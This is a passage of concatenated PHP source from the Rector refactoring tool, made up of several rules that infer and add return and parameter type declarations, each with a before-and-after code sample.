$isAlwaysFloat = \true; foreach ($returns as $return) { $expr = $return->expr; if ($expr instanceof UnaryMinus) { $expr = $expr->expr; } if (!$expr instanceof DNumber) { $isAlwaysFloat = \false; } if (!$expr instanceof LNumber) { $isAlwaysInt = \false; } } if ($isAlwaysFloat) { $node->returnType = new Identifier('float'); return $node; } if ($isAlwaysInt) { $node->returnType = new Identifier('int'); return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function shouldSkip($functionLike, Scope $scope) : bool { // type is already known, skip if ($functionLike->returnType instanceof Node) { return \true; } // empty, nothing to ifnd if ($functionLike->stmts === null || $functionLike->stmts === []) { return \true; } if (!$functionLike instanceof ClassMethod) { return \false; } return $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope); } } callerParamMatcher = $callerParamMatcher; $this->parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->paramTypeAddGuard = $paramTypeAddGuard; $this->betterNodeFinder = $betterNodeFinder; $this->phpParserNodeMapper = $phpParserNodeMapper; $this->staticTypeMapper = $staticTypeMapper; $this->typeFactory = $typeFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change param type based on passed method call type', [new CodeSample(<<<'CODE_SAMPLE' class SomeTypedService { public function run(string $name) { } } final class UseDependency { public function __construct( private SomeTypedService $someTypedService ) { } public function go($value) { $this->someTypedService->run($value); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeTypedService { public function run(string $name) { } } final class UseDependency { public function __construct( private SomeTypedService $someTypedService ) { } public function go(string $value) { $this->someTypedService->run($value); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->shouldSkipClassMethod($classMethod)) { continue; } /** @var array $callers */ $callers = $this->betterNodeFinder->findInstancesOf($classMethod, [StaticCall::class, MethodCall::class, FuncCall::class]); $hasClassMethodChanged = $this->refactorClassMethod($classMethod, $callers, $scope); if ($hasClassMethodChanged) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } private function shouldSkipClassMethod(ClassMethod $classMethod) : bool { if ($classMethod->params === []) { return \true; } return $this->parentClassMethodTypeOverrideGuard->hasParentClassMethod($classMethod); } private function shouldSkipParam(Param $param, ClassMethod $classMethod) : bool { // already has type, skip if ($param->type !== null) { return \true; } if ($param->variadic) { return \true; } return !$this->paramTypeAddGuard->isLegal($param, $classMethod); } /** * @param array $callers */ private function refactorClassMethod(ClassMethod $classMethod, array $callers, Scope $scope) : bool { $hasChanged = \false; foreach ($classMethod->params as $param) { if ($this->shouldSkipParam($param, $classMethod)) { continue; } $paramTypes = []; foreach ($callers as $caller) { $matchCallParam = $this->callerParamMatcher->matchCallParam($caller, $param, $scope); // nothing to do with param, continue if (!$matchCallParam instanceof Param) { continue; } $paramType = $this->callerParamMatcher->matchCallParamType($param, $matchCallParam); if (!$paramType instanceof Node) { $paramTypes = []; break; } $paramTypes[] = $this->phpParserNodeMapper->mapToPHPStanType($paramType); $hasChanged = \true; } if ($paramTypes === []) { continue; } $type = $this->typeFactory->createMixedPassedOrUnionType($paramTypes); $paramNodeType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PARAM); if ($paramNodeType instanceof Node) { $param->type = $paramNodeType; } } return $hasChanged; } } callerParamMatcher = $callerParamMatcher; $this->reflectionResolver = $reflectionResolver; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change param type based on parent param type', [new CodeSample(<<<'CODE_SAMPLE' class SomeControl { public function __construct(string $name) { } } class VideoControl extends SomeControl { public function __construct($name) { parent::__construct($name); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeControl { public function __construct(string $name) { } } class VideoControl extends SomeControl { public function __construct(string $name) { parent::__construct($name); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node)) { return null; } $parentStaticCall = $this->findParentStaticCall($node); if (!$parentStaticCall instanceof StaticCall) { return null; } $hasChanged = \false; foreach ($node->params as $param) { // already has type, skip if ($param->type !== null) { continue; } $parentParam = $this->callerParamMatcher->matchParentParam($parentStaticCall, $param, $scope); if (!$parentParam instanceof Param) { continue; } if ($parentParam->type === null) { continue; } // mimic type $paramType = $parentParam->type; // original attributes have to removed to avoid tokens crashing from origin positions $this->traverseNodesWithCallable($paramType, static function (Node $node) { $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return null; }); $param->type = $paramType; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function findParentStaticCall(ClassMethod $classMethod) : ?StaticCall { $classMethodName = $this->getName($classMethod); /** @var StaticCall[] $staticCalls */ $staticCalls = $this->betterNodeFinder->findInstanceOf($classMethod, StaticCall::class); foreach ($staticCalls as $staticCall) { if (!$this->isName($staticCall->class, ObjectReference::PARENT)) { continue; } if (!$this->isName($staticCall->name, $classMethodName)) { continue; } return $staticCall; } return null; } private function shouldSkip(ClassMethod $classMethod) : bool { if ($classMethod->params === []) { return \true; } $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \true; } return !$classReflection->isClass(); } } addNeverReturnType = $addNeverReturnType; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add "never" return-type for methods that never return anything', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { throw new InvalidException(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(): never { throw new InvalidException(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { return $this->addNeverReturnType->add($node, $scope); } public function provideMinPhpVersion() : int { return PhpVersionFeature::NEVER_TYPE; } } unionTypeMapper = $unionTypeMapper; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnTypeInferer = $returnTypeInferer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add basic ? nullable type to class methods and functions, as of PHP 7.1', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function getData() { if (rand(0, 1)) { return null; } return 100; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function getData(): ?int { if (rand(0, 1)) { return null; } return 100; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULLABLE_TYPE; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // empty body, nothing to resolve if ($node->stmts === null || $node->stmts === []) { return null; } // type is already known, skip if ($node->returnType instanceof Node) { return null; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $inferReturnType = $this->returnTypeInferer->inferFunctionLike($node); if (!$inferReturnType instanceof UnionType) { return null; } $returnType = $this->unionTypeMapper->mapToPhpParserNode($inferReturnType, TypeKind::RETURN); if (!$returnType instanceof Node) { return null; } // handled by union PHP 8.0 rule if (!$returnType instanceof NullableType) { return null; } $node->returnType = $returnType; return $node; } } betterNodeFinder = $betterNodeFinder; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add known property and return MockObject types', [new CodeSample(<<<'CODE_SAMPLE' class SomeTest extends TestCase { public function createSomeMock() { $someMock = $this->createMock(SomeClass::class); return $someMock; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeTest extends TestCase { public function createSomeMock(): \PHPUnit\Framework\MockObject\MockObject { $someMock = $this->createMock(SomeClass::class); return $someMock; } } CODE_SAMPLE )]); } public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // type is already known if ($node->returnType instanceof Node) { return null; } if (!$this->isInsideTestCaseClass($scope)) { return null; } if ($this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } // we need exactly 1 return $returns = $this->betterNodeFinder->findReturnsScoped($node); if (\count($returns) !== 1) { return null; } if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } /** @var Expr $expr */ $expr = $returns[0]->expr; $returnType = $this->nodeTypeResolver->getNativeType($expr); if (!$this->isMockObjectType($returnType)) { return null; } $node->returnType = new FullyQualified(self::MOCK_OBJECT_CLASS); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } private function isIntersectionWithMockObjectType(Type $type) : bool { if (!$type instanceof IntersectionType) { return \false; } if (\count($type->getTypes()) !== 2) { return \false; } return \in_array(self::MOCK_OBJECT_CLASS, $type->getObjectClassNames()); } private function isMockObjectType(Type $returnType) : bool { if ($returnType instanceof ObjectType && $returnType->isInstanceOf(self::MOCK_OBJECT_CLASS)->yes()) { return \true; } return $this->isIntersectionWithMockObjectType($returnType); } private function isInsideTestCaseClass(Scope $scope) : bool { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return \false; } // is phpunit test case? return $classReflection->isSubclassOf(ClassName::TEST_CASE_CLASS); } } addReturnTypeFromCast = $addReturnTypeFromCast; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type to function like with return cast', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function action($param) { try { return (array) $param; } catch (Exception $exception) { // some logging throw $exception; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function action($param): array { try { return (array) $param; } catch (Exception $exception) { // some logging throw $exception; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { return $this->addReturnTypeFromCast->add($node, $scope); } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnTypeInferer = $returnTypeInferer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type from return direct array', [new CodeSample(<<<'CODE_SAMPLE' final class AddReturnArray { public function getArray() { return [1, 2, 3]; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class AddReturnArray { public function getArray(): array { return [1, 2, 3]; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // already has return type, skip if ($node->returnType instanceof Node) { return null; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } if (!$this->hasReturnArray($node)) { return null; } $type = $this->returnTypeInferer->inferFunctionLike($node); if (!$type->isArray()->yes()) { return null; } $node->returnType = new Identifier('array'); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function hasReturnArray($functionLike) : bool { $stmts = $functionLike->stmts; if (!\is_array($stmts)) { return \false; } foreach ($stmts as $stmt) { if (!$stmt instanceof Return_) { continue; } if (!$stmt->expr instanceof Array_) { continue; } return \true; } return \false; } } typeFactory = $typeFactory; $this->reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; $this->strictReturnNewAnalyzer = $strictReturnNewAnalyzer; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->classAnalyzer = $classAnalyzer; $this->newTypeResolver = $newTypeResolver; $this->betterNodeFinder = $betterNodeFinder; $this->staticTypeMapper = $staticTypeMapper; $this->returnAnalyzer = $returnAnalyzer; $this->controllerAnalyzer = $controllerAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type to function like with return new', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function create() { return new Project(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function create(): Project { return new Project(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // already filled if ($node->returnType instanceof Node) { return null; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } $returnedNewClassName = $this->strictReturnNewAnalyzer->matchAlwaysReturnVariableNew($node); if (\is_string($returnedNewClassName)) { $node->returnType = new FullyQualified($returnedNewClassName); return $node; } return $this->refactorDirectReturnNew($node, $returns); } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @return \PHPStan\Type\ObjectType|\PHPStan\Type\ObjectWithoutClassType|\PHPStan\Type\StaticType|null */ private function createObjectTypeFromNew(New_ $new) { if ($this->classAnalyzer->isAnonymousClass($new->class)) { $newType = $this->newTypeResolver->resolve($new); if (!$newType instanceof ObjectWithoutClassType) { return null; } return $newType; } if (!$new->class instanceof Name) { return null; } $className = $this->getName($new->class); if ($className === ObjectReference::STATIC || $className === ObjectReference::SELF) { $classReflection = $this->reflectionResolver->resolveClassReflection($new); if (!$classReflection instanceof ClassReflection) { throw new ShouldNotHappenException(); } if ($className === ObjectReference::SELF) { return new SelfStaticType($classReflection); } return new StaticType($classReflection); } if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); return new ObjectType($className, null, $classReflection); } /** * @template TFunctionLike as ClassMethod|Function_ * * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike * @param Return_[] $returns * @return TFunctionLike|null */ private function refactorDirectReturnNew($functionLike, array $returns) { $newTypes = $this->resolveReturnNewType($returns); if ($newTypes === null) { return null; } $returnType = $this->typeFactory->createMixedPassedOrUnionType($newTypes); /** handled by @see \Rector\Symfony\CodeQuality\Rector\ClassMethod\ResponseReturnTypeControllerActionRector earlier */ if ($this->isResponseInsideController($returnType, $functionLike)) { return null; } $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($returnType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $functionLike->returnType = $returnTypeNode; return $functionLike; } /** * @param Return_[] $returns * @return Type[]|null */ private function resolveReturnNewType(array $returns) : ?array { $newTypes = []; foreach ($returns as $return) { if (!$return->expr instanceof New_) { return null; } $newType = $this->createObjectTypeFromNew($return->expr); if (!$newType instanceof Type) { return null; } $newTypes[] = $newType; } return $newTypes; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function isResponseInsideController(Type $returnType, $functionLike) : bool { if (!$functionLike instanceof ClassMethod) { return \false; } if (!$returnType instanceof ObjectType) { return \false; } if (!$returnType->isInstanceOf(ResponseClass::BASIC)->yes()) { return \false; } return $this->controllerAnalyzer->isInsideController($functionLike); } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->staticTypeMapper = $staticTypeMapper; $this->betterNodeFinder = $betterNodeFinder; $this->typeFactory = $typeFactory; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add strict type declaration based on returned constants', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public const NAME = 'name'; public function run() { return self::NAME; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public const NAME = 'name'; public function run(): string { return self::NAME; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($node->returnType instanceof Node) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } if ($this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $matchedType = $this->matchAlwaysReturnConstFetch($returns); if (!$matchedType instanceof Type) { return null; } $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($matchedType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $node->returnType = $returnTypeNode; return $node; } /** * @return PhpVersion::* */ public function provideMinPhpVersion() : int { return PhpVersion::PHP_70; } /** * @param Return_[] $returns */ private function matchAlwaysReturnConstFetch(array $returns) : ?Type { $classConstFetchTypes = []; foreach ($returns as $return) { if (!$return->expr instanceof ClassConstFetch && !$return->expr instanceof ConstFetch) { return null; } $classConstFetchTypes[] = $this->nodeTypeResolver->getType($return->expr); } return $this->typeFactory->createMixedPassedOrUnionType($classConstFetchTypes); } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->reflectionResolver = $reflectionResolver; $this->returnTypeInferer = $returnTypeInferer; $this->phpVersionProvider = $phpVersionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type from strict return $this', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { return $this; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(): self { return $this; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::HAS_RETURN_TYPE; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // already typed → skip if ($node->returnType instanceof Node) { return null; } if ($this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } $returnType = $this->returnTypeInferer->inferFunctionLike($node); if ($returnType instanceof StaticType && $returnType->getStaticObjectType()->getClassName() === $classReflection->getName()) { return $this->processAddReturnSelfOrStatic($node, $classReflection); } if ($returnType instanceof ObjectType && $returnType->getClassName() === $classReflection->getName()) { $node->returnType = new Name('self'); return $node; } if (!$returnType instanceof ThisType) { return null; } return $this->processAddReturnSelfOrStatic($node, $classReflection); } private function processAddReturnSelfOrStatic(ClassMethod $classMethod, ClassReflection $classReflection) : ClassMethod { $classMethod->returnType = $this->shouldSelf($classReflection) ? new Name('self') : new Name('static'); return $classMethod; } private function shouldSelf(ClassReflection $classReflection) : bool { if ($classReflection->isAnonymous()) { return \true; } if ($classReflection->isFinalByKeyword()) { return \true; } return !$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::STATIC_RETURN_TYPE); } } addReturnTypeFromStrictNativeCall = $addReturnTypeFromStrictNativeCall; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add strict return type based native function or native method', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { return strlen('value'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(): int { return strlen('value'); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { return $this->addReturnTypeFromStrictNativeCall->add($node, $scope); } public function provideMinPhpVersion() : int { return PhpVersion::PHP_70; } } phpDocTypeChanger = $phpDocTypeChanger; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnTypeInferer = $returnTypeInferer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->betterNodeFinder = $betterNodeFinder; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add strict return array type based on created empty array and returned', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { $values = []; return $values; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(): array { $values = []; return $values; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } // 1. is variable instantiated with array $stmts = $node->stmts; if ($stmts === null) { return null; } $variables = $this->matchArrayAssignedVariable($stmts); if ($variables === []) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } $variables = $this->matchVariableNotOverriddenByNonArray($node, $variables); if ($variables === []) { return null; } if (\count($returns) > 1) { $returnType = $this->returnTypeInferer->inferFunctionLike($node); return $this->processAddArrayReturnType($node, $returnType); } $onlyReturn = $returns[0]; if (!$onlyReturn->expr instanceof Variable) { return null; } if (!$this->nodeComparator->isNodeEqual($onlyReturn->expr, $variables)) { return null; } $returnType = $this->nodeTypeResolver->getNativeType($onlyReturn->expr); return $this->processAddArrayReturnType($node, $returnType); } public function provideMinPhpVersion() : int { return PhpVersion::PHP_70; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|null */ private function processAddArrayReturnType($node, Type $returnType) { if (!$returnType->isArray()->yes()) { return null; } // always returns array $node->returnType = new Identifier('array'); // add more precise array type if suitable if ($returnType instanceof ArrayType && $this->shouldAddReturnArrayDocType($returnType)) { $this->changeReturnType($node, $returnType); } return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function shouldSkip($node, Scope $scope) : bool { if ($node->returnType instanceof Node) { return \true; } return $node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function changeReturnType($node, ArrayType $arrayType) : void { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); // skip already filled type, on purpose if (!$phpDocInfo->getReturnType() instanceof MixedType) { return; } // can handle only exactly 1-type array if ($arrayType instanceof ConstantArrayType && \count($arrayType->getValueTypes()) !== 1) { return; } $itemType = $arrayType->getItemType(); if ($itemType instanceof IntersectionType) { $narrowArrayType = $arrayType; } else { $narrowArrayType = new ArrayType(new MixedType(), $itemType); } $this->phpDocTypeChanger->changeReturnType($node, $phpDocInfo, $narrowArrayType); } /** * @param Variable[] $variables * @return Variable[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function matchVariableNotOverriddenByNonArray($functionLike, array $variables) : array { // is variable overriden? /** @var Assign[] $assigns */ $assigns = $this->betterNodeFinder->findInstancesOfInFunctionLikeScoped($functionLike, Assign::class); foreach ($assigns as $assign) { if (!$assign->var instanceof Variable) { continue; } foreach ($variables as $key => $variable) { if (!$this->nodeNameResolver->areNamesEqual($assign->var, $variable)) { continue; } if ($assign->expr instanceof Array_) { continue; } $nativeType = $this->nodeTypeResolver->getNativeType($assign->expr); if (!$nativeType->isArray()->yes()) { unset($variables[$key]); } } } return $variables; } /** * @param Stmt[] $stmts * @return Variable[] */ private function matchArrayAssignedVariable(array $stmts) : array { $variables = []; foreach ($stmts as $stmt) { if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } $assign = $stmt->expr; if (!$assign->var instanceof Variable) { continue; } $nativeType = $this->nodeTypeResolver->getNativeType($assign->expr); if ($nativeType->isArray()->yes()) { $variables[] = $assign->var; } } return $variables; } private function shouldAddReturnArrayDocType(ArrayType $arrayType) : bool { if ($arrayType instanceof ConstantArrayType) { if ($arrayType->getItemType() instanceof NeverType) { return \false; } // handle only simple arrays if (!$arrayType->getKeyType() instanceof IntegerType) { return \false; } } return \true; } } addReturnTypeFromParam = $addReturnTypeFromParam; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type based on strict parameter type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function resolve(ParamType $item) { return $item; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function resolve(ParamType $item): ParamType { return $item; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULLABLE_TYPE; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { return $this->addReturnTypeFromParam->add($node, $scope); } } typeNodeUnwrapper = $typeNodeUnwrapper; $this->returnStrictTypeAnalyzer = $returnStrictTypeAnalyzer; $this->returnTypeInferer = $returnTypeInferer; $this->betterNodeFinder = $betterNodeFinder; $this->phpVersionProvider = $phpVersionProvider; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnAnalyzer = $returnAnalyzer; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type from strict return type of call', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function getData() { return $this->getNumber(); } private function getNumber(): int { return 1000; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function getData(): int { return $this->getNumber(); } private function getNumber(): int { return 1000; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // already filled → skip if ($node->returnType instanceof Node) { return null; } if ($node->stmts === null) { return null; } if ($this->shouldSkip($node, $scope)) { return null; } $currentScopeReturns = $this->betterNodeFinder->findReturnsScoped($node); $returnedStrictTypes = $this->returnStrictTypeAnalyzer->collectStrictReturnTypes($currentScopeReturns, $scope); if ($returnedStrictTypes === []) { return null; } if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $currentScopeReturns)) { return null; } if (\count($returnedStrictTypes) === 1) { return $this->refactorSingleReturnType($currentScopeReturns[0], $returnedStrictTypes[0], $node); } if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::UNION_TYPES)) { /** @var PhpParserUnionType[] $returnedStrictTypes */ $unwrappedTypes = $this->typeNodeUnwrapper->unwrapNullableUnionTypes($returnedStrictTypes); $unionType = new PhpParserUnionType($unwrappedTypes); $type = $this->staticTypeMapper->mapPhpParserNodePHPStanType($unionType); $returnType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::RETURN); // verify type transformed into node if (!$returnType instanceof Node) { return null; } $node->returnType = $unionType; return $node; } return null; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function isUnionPossibleReturnsVoid($node) : bool { $inferReturnType = $this->returnTypeInferer->inferFunctionLike($node); if ($inferReturnType instanceof UnionType) { foreach ($inferReturnType->getTypes() as $type) { if ($type->isVoid()->yes()) { return \true; } } } return \false; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node * @return \PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ */ private function processSingleUnionType($node, UnionType $unionType, NullableType $nullableType) { $types = $unionType->getTypes(); $returnType = $types[0] instanceof ObjectType && $types[1] instanceof NullType ? new NullableType(new FullyQualified($types[0]->getClassName())) : $nullableType; $node->returnType = $returnType; return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function shouldSkip($node, Scope $scope) : bool { if ($node->returnType instanceof Node) { return \true; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return \true; } return $this->isUnionPossibleReturnsVoid($node); } /** * @param \PhpParser\Node\Identifier|\PhpParser\Node\Name|\PhpParser\Node\NullableType|\PhpParser\Node\ComplexType $returnedStrictTypeNode * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike * @return \PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ */ private function refactorSingleReturnType(Return_ $return, $returnedStrictTypeNode, $functionLike) { $resolvedType = $this->nodeTypeResolver->getType($return); if ($resolvedType instanceof UnionType) { if (!$returnedStrictTypeNode instanceof NullableType) { return $functionLike; } return $this->processSingleUnionType($functionLike, $resolvedType, $returnedStrictTypeNode); } /** @var Name $returnType */ $returnType = $resolvedType instanceof ObjectType ? new FullyQualified($resolvedType->getClassName()) : $returnedStrictTypeNode; $functionLike->returnType = $returnType; return $functionLike; } } typeFactory = $typeFactory; $this->reflectionResolver = $reflectionResolver; 